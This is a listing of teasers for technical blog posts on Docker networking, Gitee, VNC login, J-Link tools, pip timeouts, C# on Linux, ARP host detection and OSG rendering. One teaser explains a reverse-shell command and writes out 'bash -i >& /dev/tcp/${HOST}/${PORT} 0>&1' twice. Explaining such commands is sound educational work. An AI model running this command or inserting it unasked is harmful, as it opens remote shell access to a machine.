[Docker] Linux routing connects two different network segment namespaces, connecting the namespace and the host

If the two namespaces are in different subnets, they cannot be connected through the bridge. Instead, they need to perform Layer 3 forwarding through the router. However, Linux does not provide a virtual router device like a virtual bridge because Linux itself has a router function. The working principle of the router is this: there […]

Embedded System Application-Expansion 1 Code Hosting

Embedded system application-Expansion 1 code hosting Use gitee and git to host code Introduction to the university version of gitee Gitee project management covers the entire life cycle of R&D management, supports multiple development models such as waterfall, agile (Scrum, Kanban), and seamlessly integrates with code management, CI/CD, test management and other functions, while providing […]

Spend a day figuring out the rebound shell commands! bash -i >& /dev/tcp/${HOST}/${PORT} 0>&1!

1. Rebound shell command 1, bash -i > & amp; /dev/tcp/${HOST}/${PORT} 0> & amp;1 [1], bash -i (1). What is bash? Refer to the explanations on the Internet and the explanations in the man method (man is a command help manual) # man help manual Bash is an sh-compatible command language interpreter that executes commands […]

Regarding the problem that cloud host root cannot log in from VNC

1. Problem description During a certain baseline reinforcement process, front-line feedback was reported that after leaving the work station, the original root login session was disconnected when returning, and ordinary users could not switch to root. They tried to use the mobile cloud console for VNC login, but it also prompted a login failure: Report: […]

QT writes J-link host computer to realize the burning function

JLink does not open the software development interface (SDK) and cannot carry out secondary development. However, through the discovery of some experts, when JLink is burning, it actually operates by calling the interface provided by the JLinkARM.dll dynamic library. In this way, we can carry out secondary development on it. The library has two versions, […]

Solve.ReadTimeoutError: HTTPSConnectionPool(host=pypi.tuna.tsinghua.edu.cn, port=443): Read timed o

Table of Contents Solve.ReadTimeoutError: HTTPSConnectionPool(host=’pypi.tuna.tsinghua.edu.cn’, port=443): Read timed out Method 1: Increase the timeout Method 2: Change pip source Method 3: Use domestic image accelerator Solution.ReadTimeoutError: HTTPSConnectionPool(host=’pypi.tuna.tsinghua.edu.cn’, port=443): Read timed out In Python development, we often use third-party libraries to meet various needs. When we use pip to install these libraries, we may sometimes encounter […]

Publish the C# console program to run on the Linux server – effectively solve A fatal error occurred. The folder [/usr/share/dotnet/host/fxr] does not

Table of Contents Starting point: The console program written in C# contains the function of subscribing to device-side data and storing the data to the local computer. However, the local computer sometimes shuts down. How to deploy the program to run on the server side and save the data for a long time? 1. C# […]

16.2 ARP host detection technology

ARP (Address Resolution Protocol) is a protocol used to convert an IP address into a physical address (MAC address). It is at the link layer in the TCP/IP protocol stack. It is designed to correctly transmit data packets in the local area network. It consists of protocol data units and corresponding operation commands. ARP can […]

Solve abnormal situations such as ghosting or flickering caused by Z conflict when osg draws a scene

Table of Contents 1. Raising the question 2. Introduction to Z-fighting 2.1. Causes of Z-fighting 2.2. How to eliminate Z-conflict (z-fighting) 3. Code implementation 1. Question raising Today I drew a checkerboard. I clicked the mouse on the checkerboard and drew a red circle at the click point. However, the circle was always abnormal. The […]